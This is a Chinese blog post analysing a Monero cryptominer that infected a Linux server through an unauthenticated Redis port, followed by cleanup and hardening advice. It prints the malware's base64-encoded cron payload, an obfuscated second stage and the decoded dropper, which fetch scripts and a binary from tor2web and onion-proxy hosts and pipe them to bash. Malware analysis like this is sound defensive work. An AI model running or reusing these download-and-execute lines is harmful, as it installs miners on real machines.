简介


  • 小伙伴们,大家好,今天分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用。
  • 这次遇到的是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币,行情走势请看 https://www.feixiaohao.com/currencies/monero,该病毒的特征是会占满你的CPU。
  • 该病毒的侵入方式是通过扫描主机的Redis端口,一般默认为6379,通过Redis命令将程序注入到你的主机,对的,没有设置密码的那种,我们的测试环境主机就因此中招。

病毒的发现和侦破


1.起初,收到cpu的报警信息,于是先登录到阿里云上,查看了该机器的情况,发现了注入命令

2.解决这种问题很简单,给redis增加认证,或不暴露redis的端口,清理 .ssh/authorized_keys 非法公钥,检查 /etc/ssh/sshd_config,确保 PasswordAuthentication no 密码认证是关闭的



3.登录服务器,使用 top 命令查看程序资源占用率



4.发现有一个程序资源占用率比较高,查看其进程pid,然后使用 pstree -H 18682 ,查看高亮的行;此步骤目的要看其父进程,以便找到其父进程,并将其杀掉



5.发现其父进程为系统正常进程,故使用命令 kill -9 18682 将该程序进程杀掉(可是过了一段时间,它又启动了,说明没有找到其守护进程)

6.查看 /etc 下定时任务中最近被改动过的文件 find /etc/cron* -type f -mtime -30

7.发现有文件被改动过,打开查看其中内容,看到有定时任务,打开定时任务执行的文件,如下



8.查看crontab,查看 /var/lib/corn/ 下定时任务,该目录下定时任务为所有用户的定时任务,查看定时任务的内容,查看定时任务执行文件的内容,如下



9.此两个文件内容完全一样,代码如下

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5kMndlYi5vcmcvY3Jvbi5zaCB8fCB3Z2V0IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash

10.可以看出,该代码是通过base64编码的,解码后得到如下结果

echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5kMndlYi5vcmcvY3Jvbi5zaCB8fCB3Z2V0IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoICl8YmFzaAo= | base64 -d
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.io/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.io/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.d2web.org/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.d2web.org/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.ws/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.ws/cron.sh )|bash

11.通过分析,该代码的意思是,在十分钟内的随机时间执行从网上下载代码并送给bash执行

如图:



12.通过如下命令下载其从网络上下载的代码

wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.io/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.io/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.d2web.org/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.d2web.org/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.ws/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.ws/cron.sh

13.获取代码如下

${!#}${*^} <<< "$(tD=(${@/Q+/9}\| 8 m \] S${*%%*} r q M u O H${@,} o"${@^}" \:${*} \."${@#^}" P x \; \!"${@}" 1${@,,} p${*%%V5} a${*//ct/E4} y \["${@#O}" t"${@/6}" 3${@##G} l${*^^} \+${@^} $'\12' T${@,,} \ ${*,,} U${!*} \)"$@" \$${*%%r} w${@/o} k${*//-\)} v \/"${@%H}" f${@//4/#*} h${*//\`n/=J} \( e s${*~} \- g"${@#GY}" 6 \> b \{"$@" d \& A X"${@%a}" 2"${@//_G}" i${*^^} \=${*##H|} n${@,,} c${*##u} \}$* L${*,});for eV in 40${@%xG} 15$@ 40 56${*} 29 49$* 45${@%%-\)} 36 48 40 35$@ 36 55 8 25${*/HB} 25${*^} 27 40${@,,} 15 19 11 5${@^} 23 29${@%%\"a} 14 50 28 10${*//o} 54 32 14${!*} 50${@,,} 28 10"${@,}" 12${*~~} 36${@#WI} 46${*,} 53 55${@^^} 12${!@} 36"${@,}" 41 46${*//6/\}O} 53${*%%2i} 55 12 36 8 41${@,,} 5 36${*%h_} 46 53${*%M5} 55 12 36${!*} 8 41 5${*##b2} 36 41 46${*#Y} 53"${@~}" 55 12 36${@%H} 8${*##hc} 41 5${@,} 36 25${*##Y} 11 56"${@/;*/\)}" 20"${@//U/8}" 25 36 46"${@,}" 53${*,} 55 12 36$* 8 41${*,,} 5${*#:>} 36"$@" 25 11${*} 56 20$* 25"${@%N}" 36${*~} 41 46 53 55${@//p7/-$} 27 27 48 39 31 29 47${*~~} 27${!*} 29${*^^} 29${*^^} 29 29${*/|} 15${!*} 54"${@//Z;/+\(}" 36 41${*^^} 21${*^} 41 23${*,,} 40${*%,} 2${*~} 48 42${@//l} 25 11${*} 43 53${*^^} 55 27 29${*,,} 29${@//o} 29 29 21 54${*~} 36${*,} 23${*//nC} 2"${@%%l}" 19${*%%lF} 36${*,,} 32${*^} 39${*/-L/s} 56${!*} 20${*^^} 23 29"${@,,}" 36 48"${@//1/|\[}" 40"${@//~P}" 35 36 8${@,} 5 20"${@~~}" 55 48 11 2${*~} 29 0${*##+l} 29$* 23${*##X} 5${!@} 29 42 56${!*} 48${@} 29 22${!@} 12"${@/y}" 20${@/lk} 25 55"${@^}" 8 2 12 3 0 38 40"${@%%t}" 20 48 29"${@~}" 42${*~~} 56 29${*/N9} 44$* 31${*^^} 27 29${@^^} 29${*^^} 29"${@^}" 29 33"${@%%$\)}" 43${*%4} 40 23"${@//bg}" 29${*^^} 42 6 30${*/\`M} 42 29"${@~~}" 42 42 55 11 42"${@/Y/RP}" 56${*^^} 38 40${*,} 56"${@~}" 34${@//</\}} 42 56 40"$@" 5"${@//v/5}" 23${*#l\(} 53${*,,} 37${@^^} 53${@%8b} 56${*%%z} 20 23 40$* 29"${@/>}" 32 18${@/d} 32${*%%\)} 15${*#a} 29"${@//&/S}" 42"${@/<j}" 9${*,,} 32 21${*%5} 29 0${*,} 0 29 56${*^^} 8${@//G/|} 5${@%%\[2} 25${*,} 29 42$@ 37${@} 41 4${*^^} 58${*%%b\(} 34"${@,}" 50${*^} 42${*/\[} 29 32 18 32 15${@//HB} 29 42 11 32 21 27 29 29 29${@//x} 29 56${@,} 38 2 11${*^} 48${@//*q/X} 29 26 15${*,,} 29${*#@v} 32${*^} 21$@ 16 32 21"${@}" 27${*,} 29 29 29"$@" 29${*//U3} 41 25${@,} 40"${@/L}" 40 19 29 1$* 27${*//=} 57${*##J} 27${@//>+/:>} 27 53 37${@~~} 29${@##=\\} 17${@^^} 29"${@//Oi/$g}" 19${*,} 41${*/JV} 29 42 19 29"$@" 32${*##ZP} 39 56 20 23${*//4/U#} 29 36${@%%N} 23 2 19 36 13"${@,}" 51${@/k} 18$* 7${!*} 42 8 55${*##I} 53${@##:,} 15"${@/\]}" 31 16 29${*^} 23"${@//bT/K}" 38${@##d} 40"${@,,}" 55${@//hz} 27${*,,} 29 29 29"${@//45}" 29${*^^} 48 29"${@%%H2}" 20 19${@} 23 43${*#O} 40 23${!*} 43${@//q/jO} 15 6${*/\)} 41 24${*/@j/$^} 41"${@,,}" 40${*} 56"${@%%Y\(}" 48 20 13"${@~}" 48 52 33${*/4%/tm} 40"${@%D}" 46 13 11${@/1} 5 43 29 0${!*} 0 29"$@" 48 29${*/Q\[} 20 19"${@%=}" 23 43${@//L2} 40${@,,} 23 43${@/L/Q} 15$* 6${*^^} 41${*//\\/6} 24 41${@~~} 40${*#7,} 56 48${*,} 20"${@,,}" 13${@~~} 23 11${*,} 5${!@} 52${*#@} 33 40${*^} 46 13 53${!*} 11 27 37 53 27${@^^};do printf %s "${tD["${@,,}"$eV$@]}"${*~};done;${!@})"${*%Y9}

14.查看代码末尾有 do done 等关键字,这应该是个循环语句,于是将上上述代码放到文件中,命名为 code.sh,使用 cat code.sh | bash -x 单步执行脚本,记录执行日志



15.删除掉多余干扰部分,得到如下代码

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 8
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.d2web.org || d aptgetgxqs3secda.tor2web.io
fi

16.上述代码意思很明确,其会检测其守护进程pid是否存在,不存在就下载 aptgetgxqs3secda.d2web.org/systemd-loginaptgetgxqs3secda.tor2web.io/systemd-login 生成一个随机名称到/tmp目录下,并启动该程序,/tmp/.X1M-unix其中存放的就守护进程的 pid,将相应的pid kill掉,注释掉相关定时任务,删掉病毒程序,发现病毒程序便不会再启动了

17.进一步分析,其下载的病毒内容,通过其命令下载可执行程序

wget -qU- --no-check-certificate aptgetgxqs3secda.d2web.org/systemd-login -O/tmp/virus

18.查看下载文件的内容发现是编译后的二进制可执行程序,于是通过 hexdump -C virus > virus.txt 反编译,查看反编译内容如下

19.其中还有 在反编译的文件中,找到了 monero(门罗币的项目名称)的字眼,故判断为门罗币的挖矿程序

20.至此,成功侦破

病毒清理的总结


  • 从以上病毒的发现和侦破过程可以看出,安全问题的关键在预防,尽可能少的暴露端口,减少被攻击的风险;
  • 这里介绍一种极端的安全方法,就是整片云只提供ssh的访问端口22(更极端的方式,一个不留,将22端口通过SLB代理到一台主机上做跳板,即为 Jumpserver中网域 的方式,采用全内网地址访问)、业务端口和OpenVPN的UDP端口,设置OpenVPN + OpenLDAP的方式限制内网访问;
  • 如此,便实现了只有拨通OpenVPN的用户才能实现云内网的访问,避免了普通攻击的可能性(无法避免业务端攻击);

  • 另外,可以看出该病毒程序采用各种伪装手段,如加密代码,伪装代码,exec隐藏守护进程,最终是为了占用你cpu资源,如果不是这样,当重要机密的业务系统遭遇该攻击就会造成重大损失了
  • 对于该类型的病毒,将处理步骤总结如下:
  1. 异常为加密的应用端口暴露,如Redis,如果有,关闭或加密码认证
  2. 查看ssh认证是否被插入了其他公钥,如果有,清除掉
  3. 是否被开启了密码认证,如果有,关掉,重启服务
  4. top命令查找占用资源较多的进程PID
  5. 通过pstree -H PID 查看高亮部分,查看其父进程;
  6. 如果父进程可疑,可进入到/proc/PID/目录下查看该程序的执行命令,并通过kill 掉其父进程
  7. 查看近期被修改的定时任务 find /etc/cron* -type f -mtime -30
  8. 查看crontab,查看 /var/lib/corn 下所有用户的定时任务,是否有异常条目
  9. 分析定时任务内容,按图索骥,查找到其守护进程
  10. 清除掉相关的定时任务,清除掉定时任务中可执行文件
  11. 定时任务中如果是正常命令,可能为篡改命令,通过m5dsum COMMAND和正常机器命令对比,更新命令
  12. kill掉病毒pid和其可疑父进程pid; kill -9 PID PPID

参考文档


  1. shell中exec解析: https://www.cnblogs.com/zhaoyl/archive/2012/07/07/2580749.html

Virus:病毒查杀的更多相关文章

  1. android146 360 病毒查杀

    <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android=&quo ...

  2. 028 Android 旋转动画+病毒查杀效果+自定义样式的ProgressBar

    1.目标效果 旋转动画+病毒查杀效果 2.xml布局文件 (1)activity_kill_virus.xml <?xml version="1.0" encoding=&q ...

  3. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  4. Linux十字病毒查杀处理

    之前处理过一次十字病毒,但未好好整理处理过程,现在转载一篇来自51cto的文章. 转自:http://blog.51cto.com/ixdba/2163018 十字符病毒,杀不死的小强,一次云服务器沦 ...

  5. 安装ClamAV对centos系统进行病毒查杀

    安装ClamAV 1.安装epel源 yum install epel-release 在安装了EPEL源后,运行下面的命令安装ClamAV # yum install clamav-server c ...

  6. Centos6 服务器病毒查杀命令历史

    top whereis vhowazeclu ll /usr/bin/v* more /usr/bin/vhowazeclu ps aux|grep vhowa ps aux|grep vhowaze ...

  7. i春秋手动病毒查杀

    1:查看系统进程程   tasklist命令 2:当任务管理器无法打开的时候可以利用 taskkill /f /im [程序所显示的pid]   两个参数的意思分别是强制和程序在内存中的印象 3:ms ...

  8. 病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析

    前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见<病毒木马查杀第008篇:熊猫烧香之病毒查杀总结 ...

  9. 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀

    前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...

随机推荐

  1. 30.strftime参数

    附:strftime参数 strftime(format[, tuple]) -> string 将指定的struct_time(默认为当前时间),根据指定的格式化字符串输出 python中时间 ...

  2. ASCII、UNICODE、UTF

    在计算机中,一个字节对应8位,每位可以用0或1表示,因此一个字节可以表示256种情况. ascii 美国人用了一个字节中的后7位来表达他们常用的字符,最高位一直是0,这便是ascii码. 因此asci ...

  3. TensorFlow——TensorBoard可视化

    TensorFlow提供了一个可视化工具TensorBoard,它能够将训练过程中的各种绘制数据进行展示出来,包括标量,图片,音频,计算图,数据分布,直方图等,通过网页来观察模型的结构和训练过程中各个 ...

  4. java架构之路(多线程)AQS之ReetrantLock显示锁的使用和底层源码解读

    说完了我们的synchronized,这次我们来说说我们的显示锁ReetrantLock. 上期回顾: 上次博客我们主要说了锁的分类,synchronized的使用,和synchronized隐式锁的 ...

  5. Scala实践11

    1.1泛型类 泛型类是将类型作为参数的类.它们对集合类特别有用. 定义泛类型:泛型类将类型作为方括号内的参数[].一种惯例是使用字母A作为类型参数标识符,但是可以使用任何参数名称. class Sta ...

  6. java通过word模板生成word文档

    介绍 上次公司项目需要一个生成word文档的功能,有固定的模板根据业务填充数据即可,由于从来没做过,项目也比较着急于是去网上找有没有合适的工具类,找了好几种,看到其中有freeMark模板生成比较靠谱 ...

  7. 想玩转JAVA高并发,这些概念你必须懂!

    我们在找工作时,经常在招聘信息上看到有这么一条:有构建大型互联网服务及高并发等经验,你第一时间想到的是媒体常说的双十一吗?带着问题,我们一起思考技术…. 高并发高并发 它是互联网分布式系统架构设计中必 ...

  8. 史上最简约的vi教程,复制和粘贴

    上一篇博客,讲了"新手"如何"入门"vi,解决了"两眼一抹黑"的情况.知道在vi下如何进行基本的操作,如部署在Linux下的项目,修改配置文 ...

  9. Java入门 - 语言基础 - 01.Java简介

    原文地址:http://www.work100.net/training/java-intro.html 更多教程:光束云 - 免费课程 Java简介 序号 文内章节 视频 1 概述 2 主要特性 3 ...

  10. KD-tree 学习小记

    考 \(NOI\) 时不会,感觉很亏.于是学了一上午,写了一晚上. 感觉这东西就是个复杂度玄学的高级暴力 (大雾 KD-tree 基本信息 \(D\) 就是 \(Dimension\) ,维度的意思. ...